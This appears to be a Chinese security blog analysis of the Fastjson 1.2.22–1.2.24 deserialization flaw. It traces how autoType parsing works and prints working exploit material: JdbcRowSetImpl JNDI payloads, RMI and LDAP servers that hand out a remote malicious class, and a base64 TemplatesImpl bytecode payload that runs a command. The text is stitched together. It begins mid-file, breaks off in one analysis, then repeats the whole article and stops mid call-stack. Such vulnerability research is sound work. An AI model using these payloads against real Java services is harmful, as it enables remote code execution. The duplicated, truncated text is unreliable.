private int age;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}

通过Ser.java进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
public static void main(String[] args){
Student student = new Student();
student.setName("ghtwf01");
student.setAge(80);
String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
}
}

SerializerFeature.WriteClassNametoJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。
图片

没加SerializerFeature.WriteClassName

图片

反序列化

上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。
看下面几种反序列化方法

图片

图片

一二种方法没用成功反序列化,因为没有确定到底属于哪个对象的,所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type,修改后代码如下

图片

图片

这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.IOException;

public class Student {
private String name;
private int age;
private String sex;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public void setSex(String sex) throws IOException {
System.out.println("setSex");
Runtime.getRuntime().exec("open -a Calculator");
}
}

Unser.java

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class Unser {
public static void main(String[] args){
String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
//System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
}
}

Fastjson反序列化流程分析

在parseObject处下断点,跟进

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

第一行将json字符串转化成对象,跟进parse

1
2
3
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}

继续跟进

1
2
3
4
5
6
7
8
9
10
11
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作

1
2
3
4
5
6
7
8
9
10
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}

判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法
因为之前设置了token值为12,所以进入如下判断

1
2
3
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

在第一行会创建一个空的JSONObject,随后会通过 parseObject 方法进行解析,在解析后有如下操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() != 13) {
this.setResolveStatus(2);
if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
instance = TypeUtils.cast(object, clazz, this.config);
this.parseObject(instance);
thisObj = instance;
return thisObj;
}

这里会通过scanSymbol获取到@type指定类
图片

然后通过 TypeUtils.loadClass 方法加载Class

图片

这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类

图片

接着创建了ObjectDeserializer类并调用了deserialze方法

1
2
3
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread
到达deserialze方法继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可,最后调用了set和get里面的方法

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用

漏洞复现

RMI+JNDI

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

1
2
3
4
5
6
7
8
9
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}

远程恶意类badClassName.class

1
2
3
4
5
6
7
8
9
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}

客户端JNDIClient.java

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

LDAP+JNDI
POC和上面一样,就是改了一下url,因为是ldap了

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

LdapServer.java
这里需要unboundid-ldapsdk包(https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com";



public static void main (String[] args) {

String url = "http://127.0.0.1:8888/#badClassName";
int port = 1389;



try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;



/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}



/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}



protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

LDAPClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws Exception{
try {
Context context = new InitialContext();
context.lookup("ldap://127.0.0.1:1389/badClassName");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}

恶意远程类和上面一样

漏洞分析

前面的流程都是一样的,通过 TypeUtils.loadClass 方法加载Class,创建ObjectDeserializer类并调用deserialze方法,分析一下上面流程没写的部分

调用deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址

图片

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

图片

跟进connect方法

图片

这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,是我们可控的,所以就造成了JNDI注入漏洞。

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:643, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:6, JNDIClient

TemplatesImpl利用链

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

但是由于需要在parse反序列化时设置第二个参数Feature.SupportNonPublicField,所以利用面很窄,但是这条利用链还是值得去学习

漏洞复现

TEMPOC.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class TEMPOC extends AbstractTranslet {

public TEMPOC() throws IOException {
Runtime.getRuntime().exec("open -a Calculator");
}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}

@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {

}

public static void main(String[] args) throws Exception {
TEMPOC t = new TEMPOC();
}
}

这里为什么要继承AbstractTranslet类后面会说。将其编译成.class文件,通过如下方式进行base64加密以及生成payload

1
2
3
4
5
6
7
import base64

fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc

POC如下

1
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}

漏洞分析

前面的流程是通用的,直接分析不同的部分。

进入deserialze后解析到key为_bytecodes时,调用parseField()进一步解析

图片

跟进parseField方法,对_bytecodes对应的内容进行解析

图片

跟进FieldDeserializer#parseField方法

图片

解析出_bytecodes对应的内容后,会调用setValue()函数设置对应的值,这里value即为恶意类二进制内容Base64编码后的数据

继续跟进FieldDeserializer#setValue方法

图片

这里使用了set方法来设置_bytecodes的值

接着解析到_outputProperties的内容

图片

这里去除了_,跟进发现使用反射调用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()

跟进TemplatesImpl#getOutputProperties

图片

跟进newTransformer方法

图片

跟进getTransletInstance方法

图片

Fastjson 1.2.22-1.2.24反序列化漏洞分析

ghtwf01 / 2021-01-08 15:20:51 / 浏览数 13613 安全技术 漏洞分析

顶(1) 踩(0)


Fastjson简介

Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。

项目地址:https://github.com/alibaba/fastjson

Fastjson序列化与反序列化

序列化

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Student {
private String name;
private int age;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}

然后通过Ser.java进行序列化

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class Ser {
public static void main(String[] args){
Student student = new Student();
student.setName("ghtwf01");
student.setAge(80);
String jsonstring = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonstring);
}
}

SerializerFeature.WriteClassNametoJSONString设置的一个属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type可以指定反序列化的类,并且调用其getter/setter/is方法。
图片

没加SerializerFeature.WriteClassName

图片

反序列化

上面说了有parseObject和parse两种方法进行反序列化,现在来看看他们之间的区别

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

parseObject其实也是使用的parse方法,只是多了一步toJSON方法处理对象。
看下面几种反序列化方法

图片

一二种方法没用成功反序列化,因为没有确定到底属于哪个对象的,所以只能将其转换为一个普通的JSON对象而不能正确转换。所以这里就用到了@type,修改后代码如下

图片

这样便能成功反序列化,可以看到parse成功触发了set方法,parseObject同时触发了set和get方法,因为这种autoType所以导致了fastjson反序列化漏洞

Fastjson反序列化漏洞

我们知道了Fastjson的autoType,所以也就能想到反序列化漏洞产生的原因是get或set方法中存在恶意操作,以下面demo为例

Student.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.IOException;

public class Student {
private String name;
private int age;
private String sex;

public Student() {
System.out.println("构造函数");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
public void setSex(String sex) throws IOException {
System.out.println("setSex");
Runtime.getRuntime().exec("open -a Calculator");
}
}

Unser.java

1
2
3
4
5
6
7
8
9
import com.alibaba.fastjson.JSON;

public class Unser {
public static void main(String[] args){
String jsonstring ="{\"@type\":\"Student\":\"age\":80,\"name\":\"ghtwf01\",\"sex\":\"man\"}";
//System.out.println(JSON.parse(jsonstring));
System.out.println(JSON.parseObject(jsonstring));
}
}

图片

Fastjson反序列化流程分析

在parseObject处下断点,跟进

1
2
3
4
public static JSONObject parseObject(String text) {
Object obj = parse(text);
return obj instanceof JSONObject ? (JSONObject)obj : (JSONObject)toJSON(obj);
}

第一行将json字符串转化成对象,跟进parse

1
2
3
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}

继续跟进

1
2
3
4
5
6
7
8
9
10
11
public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}

这里会创建一个DefaultJSONParser对象,在这个过程中有如下操作

1
2
3
4
5
6
7
8
9
10
int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}

判断解析的字符串是{还是[并设置token值,创建完成DefaultJSONParser对象后进入DefaultJSONParser#parse方法
因为之前设置了token值为12,所以进入如下判断

1
2
3
case 12:
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
return this.parseObject((Map)object, fieldName);

在第一行会创建一个空的JSONObject,随后会通过 parseObject 方法进行解析,在解析后有如下操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
ref = lexer.scanSymbol(this.symbolTable, '"');
Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
if (clazz != null) {
lexer.nextToken(16);
if (lexer.token() != 13) {
this.setResolveStatus(2);
if (this.context != null && !(fieldName instanceof Integer)) {
this.popContext();
}

if (object.size() > 0) {
instance = TypeUtils.cast(object, clazz, this.config);
this.parseObject(instance);
thisObj = instance;
return thisObj;
}

这里会通过scanSymbol获取到@type指定类
图片

然后通过 TypeUtils.loadClass 方法加载Class

图片

这里首先会从mappings里面寻找类,mappings中存放着一些Java内置类,前面一些条件不满足,所以最后用ClassLoader加载类,在这里也就是加载类Student类

图片

接着创建了ObjectDeserializer类并调用了deserialze方法

1
2
3
ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;

首先跟进getDeserializer方法,这里使用了黑名单限制可以反序列化的类,黑名单里面只有Thread
图片

到达deserialze方法继续往下调试,就是ASM机制生成的临时代码了,这些代码是下不了断点、也看不到,直接继续往下调试即可,最后调用了set和get里面的方法

Fastjson 1.2.22-1.2.24反序列化漏洞

这个版本的jastjson有两条利用链——JdbcRowSetImpl和Templateslmpl

JdbcRowSetImpl利用链

JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以使用RMI+JNDI和RMI+LDAP进行利用

漏洞复现

RMI+JNDI

POC如下,@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型:

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

服务端JNDIServer.java

1
2
3
4
5
6
7
8
9
public class JNDIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exloit",
"badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}

远程恶意类badClassName.class

1
2
3
4
5
6
7
8
9
public class badClassName {
static{
try{
Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
}catch(Exception e){
;
}
}
}

客户端JNDIClient.java

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class JNDIClient {
public static void main(String[] argv){
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

LDAP+JNDI

POC和上面一样,就是改了一下url,因为是ldap了

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/badClassName", "autoCommit":true}

LdapServer.java
这里需要unboundid-ldapsdk包(https://repo1.maven.org/maven2/com/unboundid/unboundid-ldapsdk/5.1.3/unboundid-ldapsdk-5.1.3.jar)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAPServer {

private static final String LDAP_BASE = "dc=example,dc=com";



public static void main (String[] args) {

String url = "http://127.0.0.1:8888/#badClassName";
int port = 1389;



try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;



/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}



/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}

}



protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

LDAPClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAPClient {
public static void main(String[] args) throws Exception{
try {
Context context = new InitialContext();
context.lookup("ldap://127.0.0.1:1389/badClassName");
}
catch (NamingException e) {
e.printStackTrace();
}
}
}

恶意远程类和上面一样
图片

漏洞分析

前面的流程都是一样的,通过 TypeUtils.loadClass 方法加载Class,创建ObjectDeserializer类并调用deserialze方法,分析一下上面流程没写的部分

调用deserialze后继续往下调试,进入setDataSourceName方法,将dataSourceName值设置为目标RMI服务的地址

图片

接着调用到setAutoCommit()函数,设置autoCommit值,其中调用了connect()函数

图片

跟进connect方法

图片

这里的getDataSourceName是我们在前面setDataSourceName()方法中设置的值,是我们可控的,所以就造成了JNDI注入漏洞。

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
connect:643, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4081, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:606, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
